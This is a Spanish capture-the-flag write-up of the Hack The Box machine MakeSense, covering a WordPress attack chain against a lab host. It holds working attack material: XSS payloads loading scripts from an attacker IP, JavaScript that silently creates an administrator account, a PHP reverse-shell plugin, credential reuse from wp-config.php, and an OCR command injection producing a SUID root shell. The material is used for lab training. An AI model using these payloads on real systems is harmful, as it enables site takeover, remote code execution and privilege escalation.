Descripción

MakeSense es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:

  • Ingeniería inversa de aplicación web para recuperar parámetros de cifrado personalizados
  • Secuencia de comandos en sitios cruzados en un formulario de WordPress conduce a la creación de cuenta de administrador
  • Ejecución Remota de Comandos mediante la carga de una extensión maliciosa de WordPress
  • Pivote de usuario mediante credenciales reutilizadas de un archivo de configuración
  • Escalada de Privilegios mediante Inyección de Comandos en una aplicación web de Reconocimiento Óptico de Caracteres

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.30.180.

$ ping -c 3 10.129.30.180
PING 10.129.30.180 (10.129.30.180) 56(84) bytes of data.
64 bytes from 10.129.30.180: icmp_seq=1 ttl=63 time=47.7 ms
64 bytes from 10.129.30.180: icmp_seq=2 ttl=63 time=47.0 ms
64 bytes from 10.129.30.180: icmp_seq=3 ttl=63 time=46.8 ms

--- 10.129.30.180 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.778/47.134/47.669/0.385 ms

La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.129.30.180 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.30.180
Host is up (0.049s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   filtered http
443/tcp  open     https
8001/tcp filtered vcom-tunnel

Nmap done: 1 IP address (1 host up) scanned in 4.54 seconds

Obtenemos dos puertos abiertos, 22 y 443. Encontramos como puertos filtrados 80 y 8001; con el firewall, podrían ser puertos internos abiertos.

Enumeración

Luego realizamos un escaneo más avanzado, con versión de servicios y scripts.

$ nmap 10.129.30.180 -Pn -sV -sC -p22,80,443,8001 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.30.180
Host is up (0.046s latency).

PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_  256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp   filtered http
443/tcp  open     ssl/http    Apache httpd 2.4.58 ((Ubuntu))
| tls-alpn: 
|_  http/1.1
|_http-generator: WordPress 7.0
|_http-title: Agency LLC
|_http-trane-info: Problem with XML parsing of /evox/about
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=makesense.htb
| Not valid before: 2026-05-29T16:37:29
|_Not valid after:  2126-05-05T16:37:29
|_http-server-header: Apache/2.4.58 (Ubuntu)
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.07 seconds

Obtenemos el servicio SSH y el servicio HTTPS. Encontramos el subdominio variatype.htb, lo añadimos al archivo /etc/hosts.

$ echo "10.129.30.180 makesense.htb" | sudo tee -a /etc/hosts

Después de abrir la página, encontramos un blog de WordPress con una página de destino, tenemos dos formas de interactuar con el sitio web, con un formulario Get In Touch y con un botón de teléfono. Después de hacer clic en el botón de teléfono, se muestra un diálogo con una opción para realizar una llamada a WebAgency. Después de iniciar la llamada, se muestra una solicitud de micrófono, y luego el audio es grabado y transcrito para ser enviado al servidor. Si nos movemos al proxy que intercepta las solicitudes HTTP, encontramos dos solicitudes al endpoint /wp-admin/admin-ajax.php. Una multipart, especificando la acción save_voice_raw, con un nonce, y el audio sin procesar .wav enviado en el parámetro voice_recording.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: makesense.htb
...
------WebKitFormBoundaryntMIJEB9toeBQCEF
Content-Disposition: form-data; name="action"

save_voice_raw
------WebKitFormBoundaryntMIJEB9toeBQCEF
Content-Disposition: form-data; name="nonce"

195bcd3029
------WebKitFormBoundaryntMIJEB9toeBQCEF
Content-Disposition: form-data; name="voice_recording"; filename="voice-message.wav"
Content-Type: audio/wav

RIFF$,
...
------WebKitFormBoundaryntMIJEB9toeBQCEF--

El otro envía la acción save_voice_results, con un nonce, una identificación de publicación post_id y una carga útil cifrada encrypted_payload.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: makesense.htb
...
------WebKitFormBoundaryYYYonRKdoBFXSWfC
Content-Disposition: form-data; name="action"

save_voice_results
------WebKitFormBoundaryYYYonRKdoBFXSWfC
Content-Disposition: form-data; name="nonce"

195bcd3029
------WebKitFormBoundaryYYYonRKdoBFXSWfC
Content-Disposition: form-data; name="post_id"

69
------WebKitFormBoundaryYYYonRKdoBFXSWfC
Content-Disposition: form-data; name="encrypted_payload"

xIi4J9/1Ium8oj+LKwvIo0iKggKZYu3wG1UaPrXdNu6JqJr+hdB3pCGYt05LWU9uGL3yjI7GtRW38n0uNilPtG8XR0rWIGDahEEeRzUFTq7Q/IVf8iLkgnQDohpghD4KEDiXfL86C8XDctIdJwncgCJcvzk1y1NUyDCW1z2P4GewlrGm0xWblI3fw/QQ3JWQqw==
------WebKitFormBoundaryYYYonRKdoBFXSWfC--

Al realizar ingeniería inversa de la aplicación web, leyendo el código fuente de los archivos con la herramienta de desarrollador del navegador, encontramos el archivo main.js en el que se envía la solicitud con el parámetro encrypted_payload.

...
const encryptedPayload = await window.whisperTranscriber.encryptPayload(payload);
console.log('[Phase 2] Payload encrypted');

// Step 5: Send to backend
$('#processingStatus').text('Saving results...');

const formData = new FormData();
formData.append('action', 'save_voice_results');
formData.append('nonce', webagency_ajax.nonce);
formData.append('post_id', postId);
formData.append('encrypted_payload', encryptedPayload);
...

Descubrimos que la variable encryptedPayload es generada a partir de la función whisperTranscriber.encryptPayload que encontramos en el archivo whisper-wrapper.js.

...
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
...
/**
     * Encrypt payload using AES-GCM
     * @param {Object} payload - Object with transcription and summary
     * @returns {Promise<string>} Base64 encoded encrypted data (IV + ciphertext + tag)
     */
async encryptPayload(payload) {
	const encoder = new TextEncoder();
	const data = encoder.encode(JSON.stringify(payload));

	// Derive key from password using SHA-256
	const keyMaterial = await crypto.subtle.digest(
		'SHA-256',
		encoder.encode(ENCRYPTION_KEY)
	);

	const key = await crypto.subtle.importKey(
		'raw',
		keyMaterial,
		{ name: 'AES-GCM' },
		false,
		['encrypt']
	);

	// Generate random IV (12 bytes for AES-GCM)
	const iv = crypto.getRandomValues(new Uint8Array(12));

	// Encrypt
	const encrypted = await crypto.subtle.encrypt(
		{ name: 'AES-GCM', iv: iv },
		key,
		data
	);

	// Combine IV + ciphertext (tag is appended automatically by WebCrypto)
	const combined = new Uint8Array(iv.length + encrypted.byteLength);
	combined.set(iv, 0);
	combined.set(new Uint8Array(encrypted), iv.length);

	// Convert to base64
	let binary = '';
	combined.forEach(byte => binary += String.fromCharCode(byte));
	return btoa(binary);
}
...

Esta función asíncrona de JavaScript cifra un objeto de carga útil (payload) que contiene datos de texto utilizando el algoritmo de cifrado AES-GCM autenticado a través de la Web Crypto API. Primero convierte la carga útil en un array de bytes, deriva una clave de cifrado segura mediante el hashing de una contraseña predefinida con SHA-256, y genera un Vector de Inicialización (IV) aleatorio de 12 bytes para garantizar la unicidad. Después de realizar el cifrado, que adjunta automáticamente una etiqueta de autenticación para proteger la integridad de los datos, la función fusiona el IV sin procesar y el texto cifrado en un único array de bytes, codifica el resultado combinado final en una cadena Base64 y lo devuelve.

Se crea un script de Python encryption-tool.py para encriptar y desencriptar cadenas usando este algoritmo; la única dependencia es pycryptodome, que puede instalarse usando pip y un virtualenv.

import argparse
import base64
import hashlib
import os
import sys
from Crypto.Cipher import AES

# Internal hardcoded key from your original script
ENCRYPTION_KEY = "bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"


def encrypt_payload(payload: str) -> str:
    """Encrypts a string payload using AES-GCM via pycryptodome.

    Perfectly matches JavaScript's WebCrypto structure: IV (12B) + Ciphertext + Tag (16B).
    """
    # 1. Derive 32-byte key using SHA-256
    key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()

    # 2. Explicitly generate a 12-byte IV (nonce) to avoid parameter auto-detection errors
    iv = os.urandom(12)

    # 3. Create AES-GCM cipher explicitly passing the mode and the nonce
    cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)

    # 4. Encrypt and digest to get the 16-byte authentication tag
    ciphertext, tag = cipher.encrypt_and_digest(payload.encode("utf-8"))

    # 5. Combine exactly like WebCrypto: IV + Ciphertext + Tag
    combined = iv + ciphertext + tag

    # 6. Return as base64 string
    return base64.b64encode(combined).decode("utf-8")


def decrypt_payload(encrypted_base64: str) -> str:
    """Decrypts a base64 encoded AES-GCM payload using pycryptodome."""
    # 1. Derive 32-byte key using SHA-256
    key_material = hashlib.sha256(ENCRYPTION_KEY.encode("utf-8")).digest()

    # 2. Decode from base64
    combined = base64.b64decode(encrypted_base64)

    # 3. Split the combined bytes based on fixed sizes:
    # IV is the first 12 bytes, Tag is the last 16 bytes, Ciphertext is everything in between.
    iv = combined[:12]
    tag = combined[-16:]
    ciphertext = combined[12:-16]

    # 4. Create cipher explicitly in GCM mode and decrypt while verifying the tag
    cipher = AES.new(key_material, AES.MODE_GCM, nonce=iv)
    decrypted_bytes = cipher.decrypt_and_verify(ciphertext, tag)

    return decrypted_bytes.decode("utf-8")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Encrypt or decrypt strings using AES-GCM compatible with WebCrypto (via pycryptodome)."
    )

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument(
        "-e", "--encrypt", help="The plaintext string you want to encrypt"
    )
    group.add_argument(
        "-d", "--decrypt", help="The base64 encrypted string you want to decrypt"
    )

    args = parser.parse_args()

    try:
        if args.encrypt:
            result = encrypt_payload(args.encrypt)
            print(result)
        elif args.decrypt:
            result = decrypt_payload(args.decrypt)
            print(result)

    except Exception as e:
        print(f"Error processing the request: {e}", file=sys.stderr)
        sys.exit(1)

Ahora podemos descifrar la carga útil Base64 cifrada que fue enviada previamente.

$ python -m virtualenv .env
$ . .env/bin/activate
$ pip install pycryptodome
$ python encryption-tool.py -d "xIi4J9/1Ium8oj+LKwvIo0iKggKZYu3wG1UaPrXdNu6JqJr+hdB3pCGYt05LWU9uGL3yjI7GtRW38n0uNilPtG8XR0rWIGDahEEeRzUFTq7Q/IVf8iLkgnQDohpghD4KEDiXfL86C8XDctIdJwncgCJcvzk1y1NUyDCW1z2P4GewlrGm0xWblI3fw/QQ3JWQqw=="
{"transcription":"[music]","summary":"the band is currently in their first ever appearance on the australian stage."}

Encontramos lo que se envía en la carga útil cifrada, la transcripción del audio y un resumen del audio. Encontramos en el código fuente que está utilizando Whisper del lado del cliente para transcribir y resumir el audio grabado, aunque el audio sin procesar también se sube al servidor.

Explotación

Vamos a generar una carga útil personalizada para verificar si esta presentación es revisada por un administrador, y si es revisada, si es vulnerable a la vulnerabilidad XSS (Cross-Site Scripting). Esto puede conducir al robo de credenciales a través de cookies, o a solicitudes no deseadas. Vamos a desplegar un servidor HTTP y añadir a la carga útil encriptada una etiqueta script para verificar si es llamado de vuelta.

$ python encryption-tool.py -e '{"transcription":"[music]","summary":"the band is currently in their first ever appearance on the australian stage.<script src=http://10.10.14.17/test.js></script>"}'
TbxurM6j3XaAdpdAX80GenztaNOJVS1xR/m0VaFGten5xCL+dA7zpfadNaCGQQ9GdCYme6WVrmjGXmqxo9FKofFRiAVjlJBRgJXl3xMjwEOU38UhEVVoFAsTHa1IB9yIC5emLjzvYt2uIdgtBF2KWpXPVScIuqd6CSH3szYWZcwQbrrjucWdeY+x1PpNNrKsqZ/IxEE/f4DmIcW1QOv8qKPumlza6APmoMw1TByfWLVfVUk6wP18l3cxUimmju1fEA==
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Luego enviamos la solicitud utilizando los parámetros que obtuvimos del proxy y la carga útil cifrada.

$ curl -k -X POST -b "wordpress_sec_666f3cbf9610031df176da93aa83bc38=new_admin%7C1783372294%7CxowMEbOiXHLfuQlkcx3XpBw2YMl2PJKyhEWTzHNQKlI%7C636100fb1499e4feafdbe8d8c7d86fb167acd561ee1f1d874d6253890adc6bb8; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_666f3cbf9610031df176da93aa83bc38=new_admin%7C1783372294%7CxowMEbOiXHLfuQlkcx3XpBw2YMl2PJKyhEWTzHNQKlI%7C65a309eb39ce67cb9c23197c161f4d91b3b90a9b3b2fa37364392389d9d4ba70; wp_lang=en_US; wp-settings-time-5=1783199941" -F "action=save_voice_results" -F "nonce=195bcd3029" -F "post_id=69" -F "encrypted_payload=TbxurM6j3XaAdpdAX80GenztaNOJVS1xR/m0VaFGten5xCL+dA7zpfadNaCGQQ9GdCYme6WVrmjGXmqxo9FKofFRiAVjlJBRgJXl3xMjwEOU38UhEVVoFAsTHa1IB9yIC5emLjzvYt2uIdgtBF2KWpXPVScIuqd6CSH3szYWZcwQbrrjucWdeY+x1PpNNrKsqZ/IxEE/f4DmIcW1QOv8qKPumlza6APmoMw1TByfWLVfVUk6wP18l3cxUimmju1fEA==" "https://makesense.htb/wp-admin/admin-ajax.php"

{"success":true,"data":{"message":"Results saved successfully!","post_id":69}}

Después de unos segundos recibimos una solicitud en nuestro servidor HTTP pidiendo el archivo test.js, lo que significa que la vulnerabilidad está activa.

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.30.180 - - code 404, message File not found
10.129.30.180 - - "GET /test.js HTTP/1.1" 404 -

Utilizaremos la vulnerabilidad para crear una nueva cuenta de administrador utilizando un archivo JavaScript que será ejecutado por el administrador del sitio, en el archivo form.js.

(async function() {
    try {
        // Get form nonce
        const response = await fetch('/wp-admin/user-new.php');       
        const htmlContent = await response.text();
        const tokenMatch = htmlContent.match(/name="_wpnonce_create-user"\s+value="([^"]+)"/);
        const extractedToken = tokenMatch[1];

        // Create form parameters
        const formParams = new URLSearchParams();
        formParams.append('action', 'createuser');
        formParams.append('_wpnonce_create-user', extractedToken);
        formParams.append('_wp_http_referer', '/wp-admin/user-new.php');
        formParams.append('user_login', 'new_admin');
        formParams.append('email', 'new_admin@localhost.com');
        formParams.append('first_name', '');
        formParams.append('last_name', '');
        formParams.append('url', '');
        formParams.append('pass1', 'NewPasswordForTheUser123');
        formParams.append('pass2', 'NewPasswordForTheUser123');
        formParams.append('role', 'administrator');
        formParams.append('createuser', 'Add User');

        // Send POST request to create the user
        const postResponse = await fetch('/wp-admin/user-new.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            },
            body: formParams
        });
    } catch (error) {
        console.error('An error occurred during execution:', error);
    }
})();

El usuario new_admin será creado, con la contraseña NewPasswordForTheUser123. Repetimos el proceso anterior, pero reemplazando el archivo test.js con el form.js.

$ python encryption-tool.py -e '{"transcription":"[music]","summary":"the band is currently in their first ever appearance on the australian stage.<script src=http://10.10.14.17/form.js></script>"}'
o/xIoLQQsgS6tyL2z8iqKMBkQQMODm+IKA+jPs06/J76MwgPXnDHJW/9/vsDoqfWTzV9N95qxYVEiOr+LFG1EON5nY53Er77BmtFZOxA9bYkLMiGt5/8hENduexexW37NdUogVgHPKuCrsqZLhZrigLIq945nGpzcgPpHSJFOObd0b7uU9pl1uaM6iwiKxth+JEONc5N7xn7MYPZiir12yzeDzWN83h6ZPSkP1QmaSOXFLxvIqV4rjvnJ8LG+UCvcw==
$ curl -k -X POST -b "wordpress_sec_666f3cbf9610031df176da93aa83bc38=new_admin%7C1783372294%7CxowMEbOiXHLfuQlkcx3XpBw2YMl2PJKyhEWTzHNQKlI%7C636100fb1499e4feafdbe8d8c7d86fb167acd561ee1f1d874d6253890adc6bb8; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_666f3cbf9610031df176da93aa83bc38=new_admin%7C1783372294%7CxowMEbOiXHLfuQlkcx3XpBw2YMl2PJKyhEWTzHNQKlI%7C65a309eb39ce67cb9c23197c161f4d91b3b90a9b3b2fa37364392389d9d4ba70; wp_lang=en_US; wp-settings-time-5=1783199941" -F "action=save_voice_results" -F "nonce=195bcd3029" -F "post_id=69" -F "encrypted_payload=o/xIoLQQsgS6tyL2z8iqKMBkQQMODm+IKA+jPs06/J76MwgPXnDHJW/9/vsDoqfWTzV9N95qxYVEiOr+LFG1EON5nY53Er77BmtFZOxA9bYkLMiGt5/8hENduexexW37NdUogVgHPKuCrsqZLhZrigLIq945nGpzcgPpHSJFOObd0b7uU9pl1uaM6iwiKxth+JEONc5N7xn7MYPZiir12yzeDzWN83h6ZPSkP1QmaSOXFLxvIqV4rjvnJ8LG+UCvcw==" "https://makesense.htb/wp-admin/admin-ajax.php"

{"success":true,"data":{"message":"Results saved successfully!","post_id":69}}

Después de unos segundos recibiremos la solicitud en nuestro servidor y luego podremos iniciar sesión en el panel de administración de WordPress /wp-admin/ con las credenciales anteriores. Ahora obtendremos ejecución remota de comandos en el servidor generando y subiendo un plugin malicioso de WordPress; tomamos Contact Form como referencia.

$ wget https://downloads.wordpress.org/plugin/contact-form-7.6.1.6.zip
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ sed -i 's/127.0.0.1/10.10.14.17/' php-reverse-shell.php
$ mkdir contact-form-7
$ mv php-reverse-shell.php contact-form-7
$ 7z a contact-form-7.6.1.6.zip contact-form-7

Podemos subir el plugin en el Plugins > Add Plugin > Upload Plugin menu, en formato .zip. Después de que el plugin sea subido, seríamos capaces de iniciar el puerto TCP de escucha y desplegar la shell inversa PHP.

$ nc -nvlp 1234
$ curl -k https://makesense.htb/wp-content/plugins/contact-form-7/php-reverse-shell.php

Recibimos la terminal inversa como el usuario www-data.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.129.30.180] 41186
Linux makesense.htb 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
 up  2:20,  0 user,  load average: 0.09, 0.31, 0.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

Encontramos los usuarios de consola walter y admin.

$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
walter:x:1000:1000:walter:/home/walter:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
admin:x:1001:1001:,,,:/home/admin:/bin/bash

Encontramos el archivo de configuración de WordPress en el archivo /var/www/html/wp-config.php.

$ cat /var/www/html/wp-config.php
<?php
// SQLite database configuration
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );

// Dummy MySQL settings (required but not used with SQLite)
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
...

Encontramos la credencial para el usuario de base de datos walter, con la contraseña JbhHDAEgXvri3!. Encontramos que esta contraseña es reutilizada y podemos iniciar sesión en la máquina usando el protocolo SSH.

$ ssh walter@makesense.htb
walter@makesense.htb's password: 
...
walter@makesense:~$ id
uid=1000(walter) gid=1000(walter) groups=1000(walter)

Post-Explotación

Al enumerar la máquina encontramos el servicio previamente descubierto alojado en el puerto 8001.

walter@makesense:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                   Local Address:Port                     Peer Address:Port          Process          
...
tcp            LISTEN          0               511                            0.0.0.0:80                            0.0.0.0:*                              
tcp            LISTEN          0               4096                           0.0.0.0:22                            0.0.0.0:*                              
tcp            LISTEN          0               4096                         127.0.0.1:8001                          0.0.0.0:*                              
...
walter@makesense:~$ ps -ef | grep 8001
root        1402    1397  0 20:56 ?        00:00:00 php -S 127.0.0.1:8001 -t /root/ocr4/
walter     38770   38458  0 23:20 pts/0    00:00:00 grep --color=auto 8001

Parece ser una aplicación PHP ejecutada desde la ruta /root/ocr4/, y ejecutada como usuario root, esto significa que podríamos obtener ejecución de comandos si la aplicación web es vulnerable. Realizamos un mapeo local del puerto de la aplicación a nuestra máquina usando SSH.

$ ssh -L 8001:127.0.0.1:8001 walter@makesense.htb

Encontramos una aplicación web donde se puede ingresar texto escrito a mano para que sea transcrito a texto plano. Después de eso, la aplicación nos ofrece guardar el texto en un archivo almacenado en el servidor con un nombre personalizado. Como sabemos que es una aplicación PHP, podemos intentar generar una imagen para ser subida con una carga útil PHP que ejecutará un comando system para crear un archivo Bash SUID en el directorio /tmp. En primer lugar, vamos a generar el script de Python generate-text-image.py para generar imágenes de texto personalizadas.

import argparse
import base64
import sys
from io import BytesIO
from PIL import Image, ImageDraw, ImageFont


def generate_text_image_base64(text: str) -> str:
    """Generates a high-clarity PNG image with a serif font (size 20) and returns base64.

    Uses super-sampling and a serif font to improve OCR accuracy for single quotes.
    """
    # 1. Configuration
    background_color = (255, 255, 255)  # Pure white for better OCR contrast
    text_color = (0, 0, 0)                # Pure black
    base_font_size = 20
    padding = 15                          # Final padding around text
    
    # Internal scaling factor for high-resolution rendering
    scale_factor = 2
    render_font_size = base_font_size * scale_factor
    render_padding = padding * scale_factor

    # 2. Load a scalable Serif font
    # Serif fonts help OCR distinguish simple quotes from smart quotes.
    # Noto Serif (Linux/Android), Georgia (Windows/Mac) are common.
    font = None
    serif_font_names = [
        "NotoSerif-Regular.ttf", # Linux/common
        "Georgia.ttf",           # Windows/Mac common
        "DejaVuSerif.ttf",       # Common in many distributions
        "serif.ttf"              # Fallback generic name
    ]

    for font_name in serif_font_names:
        try:
            font = ImageFont.truetype(font_name, render_font_size)
            break # Stop at the first font successfully loaded
        except IOError:
            continue

    if font is None:
        print("Warning: Could not load any serif TrueType font. Using fixed default.", file=sys.stderr)
        # load_default only supports size in recent Pillow versions
        try:
            font = ImageFont.load_default(size=render_font_size)
        except TypeError:
            font = ImageFont.load_default()

    # 3. Calculate text dimensions at high resolution
    bbox = font.getbbox(text)
    text_width = bbox[2] - bbox[0]
    text_height = bbox[3] - bbox[1]

    render_width = text_width + (render_padding * 2)
    render_height = text_height + (render_padding * 2)

    # 4. Create high-resolution image
    high_res_image = Image.new("RGB", (render_width, render_height), color=background_color)
    draw = ImageDraw.Draw(high_res_image)
    
    # 5. Draw text
    draw.text((render_padding, render_padding), text, fill=text_color, font=font)

    # 6. Downscale using high-quality resampling (Lanczos) for super-sharp edges
    final_width = render_width // scale_factor
    final_height = render_height // scale_factor
    
    # Use Image.Resampling.LANCZOS for newer Pillow, or Image.LANCZOS for older
    try:
        resample_filter = Image.Resampling.LANCZOS
    except AttributeError:
        resample_filter = Image.LANCZOS
        
    final_image = high_res_image.resize((final_width, final_height), resample=resample_filter)

    # 7. Save to memory buffer as PNG
    buffered = BytesIO()
    final_image.save(buffered, format="PNG")
    
    # 8. Convert to base64 Data URI
    img_str = base64.b64encode(buffered.getvalue()).decode("utf-8")
    return f"data:image/png;base64,{img_str}"


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Generate a sharp PNG image from text using a serif font for better OCR."
    )
    parser.add_argument(
        "-t", "--text", required=True, help="The text string to render inside the image"
    )

    args = parser.parse_args()

    try:
        base64_uri = generate_text_image_base64(args.text)
        print(base64_uri)
    except Exception as e:
        print(f"Error generating image: {e}", file=sys.stderr)
        sys.exit(1)

Ejecutamos el script para generar la imagen codificada en Base64 (necesitamos la dependencia Pillow).

$ pip install Pillow
$ python generate-text-image.py -t '<?php system("cp /bin/bash /tmp/suid-bash; chmod 4755 /tmp/suid-bash") ?>'
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu0AAAAyCAIAAABnK3LjAABFwUlEQVR4nO19d1wVR/f+7N5L770ISBEEFAWUIiBir1GjBmMvUaPG2BMTS6ImGkuMsSQaS5TYe6LGhqDYu/giIiqCSq8CwuW23d8fz+/OZ70XsCev73efP/xw19mZc86cmTlz5pxZhud5IkKECBEiRIgQ8R6C/bcJECFChAgRIkSIeE2IdowIESJEiBAh4n2FaMeIECFChAgRIt5XiHaMCBEiRIgQIeJ9hWjHiBAhQoQIESLeV4h2jAgRIkSIECHifYVox4gQIUKECBEi3leIdowIESJE...

Ahora necesitamos interceptar con el proxy la solicitud HTTP POST en la que los datos de la imagen se envían al servidor, al endpoint / con el parámetro codificado en URL canvas_image y reemplazarlo con el que generó el script. Encontramos que el texto fue reconocido correctamente y ahora podemos guardarlo en un archivo; en este caso vamos a guardarlo en el archivo command.php. Después de hacer clic en el botón Save, se muestra el texto Saved as: saved/command.php, indicando que podemos activar el comando visitando la URL.

$ curl -k http://127.0.0.1:8001/saved/command.php

Al devolver la terminal SSH encontramos que el archivo /tmp/suid-bash es creado y luego podemos desplegar la terminal root.

walter@makesense:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1000(walter) gid=1000(walter) euid=0(root) groups=1000(walter)

Flags

En el root terminal podemos recuperar los user.txt y root.txt flags.

suid-bash-5.2# cat /home/walter/user.txt 
<REDACTED>
suid-bash-5.2# cat /root/root.txt 
<REDACTED>